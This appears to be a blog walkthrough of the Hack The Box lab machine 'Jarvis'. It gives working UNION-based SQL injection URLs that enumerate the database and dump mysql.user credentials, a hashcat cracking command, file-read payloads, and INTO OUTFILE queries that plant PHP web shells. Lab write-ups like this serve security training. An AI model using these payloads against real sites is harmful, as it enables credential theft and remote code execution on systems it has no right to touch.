HTB - Jarvis MySQL
Brad Traversy MySQL CheatSheet
Jarvis Walkthrough
Step 1 - Try to make your query. Visualize it.
SELECT Id, Name, Rating, Picture, Cost, Description, UNKNOWN7Field FROM Room WHERE Id = 1
Queries don't need a " or '
Keep going up until it works
http://10.10.10.143/room.php?cod=3 union select 1,2,3,4 http://10.10.10.143/room.php?cod=3 union select 1,2,3,4,5 http://10.10.10.143/room.php?cod=3 union select 1,2,3,4,5,6 http://10.10.10.143/room.php?cod=3 union select 1,2,3,4,5,6,7 -OR- http://10.10.10.143/room.php?cod=3 order by 1,2,3,4,5,6,7
The union select works when the left and right are equal in column size. If the left has 7 selections, the right needs 7 selections too
SELECT Id, Rating, Name, Cost, Description, UNKNOWN6 FROM Room WHERE Id = 1 UNION SELECT 1,2,3,4,5,6
In order to shift to the right side, put in a faulty value for 1 like negative 1 or 9999
SELECT Id, Rating, Name, Cost, Description, UNKNOWN6 FROM Room WHERE Id = -1 UNION SELECT 1,2,3,4,5,6, 7
Topics
Getting Databases
http://10.10.10.143/room.php?cod=-1 union select 1,2,(select SCHEMA_NAME from Information_Schema.SCHEMATA LIMIT 1),4,5,6,7
http://10.10.10.143/room.php?cod=-1%20union%20select%201,2,(select+SCHEMA_NAME+from+Information_Schema.SCHEMATA+LIMIT+2,1),4,5,6,7
http://10.10.10.143/room.php?cod=-1%20union%20select%201,2,(select+group_concat(SCHEMA_NAME,%22\r\n%22)+from+Information_Schema.SCHEMATA),4,5,6,7
Getting Columns
http://10.10.10.143/room.php?cod=-1 union select 1,2,(select group_concat(COLUMN_NAME,"\r\n") from Information_Schema.COLUMNS WHERE TABLE_SCHEMA="hotel"),4,5,6,7
Getting Data from a Table
http://10.10.10.143/room.php?cod=-1 union select 1,2,(select%20group_concat(name,":",price,":","\r\n") FROM hotel.room LIMIT 1),4,5,6,7
Getting mysql.user Username and Password
http://10.10.10.143/room.php?cod=-1 union select 1,2,(select group_concat(user,":",password,"\r\n") FROM mysql.user LIMIT 1),4,5,6,7
Step 3 Hashcat
Remove the * in the hash.
hashcat.exe hash.txt -m 300 --wordlist C:\Users\Amanda\Documents\NCL\NCLNewGo\rockyou.txt
Step 4 Upload Reverse Shell in PhpMyAdmin
The password is "imissyou". Login to phpmyadmin. Upload a reverse shell using the query below.
SELECT "php system($_GET['cmd']);" into outfile "/var/www/html/shell.php"
Go into burp suite and URL encode the OpenBSD netcat reverse shell.
Step 5 - Auth as Pepper using script
Step 6 - SUID systemctl.
Cool Tips
1. LOAD_FILE
http://10.10.10.143/room.php?cod=-1 union select 1,2,(LOAD_FILE("/etc/passwd")),4,5,6,7
2. TO_base64
http://10.10.10.143/room.php?cod=-1 union select 1,2,(To_base64(LOAD_FILE("/var/www/html/connection.php"))),4,5,6,7
3. Shell without phpmyadmin
GET /room.php?cod=-1%20union%20select%201,2,(SELECT+'<%3fphp+phpinfo()%3b+%3f>'),4,5,6,7+INTO+OUTFILE+'/var/www/html/hello.php'
GET /room.php?cod=-1%20union%20select%201,2,(SELECT+'<%3fphp+echo+system(%24%5fGET[%22cmd%22])%3b+%3f>'),4,5,6,7+INTO+OUTFILE+'/var/www/html/meow.php'
Comments
Post a Comment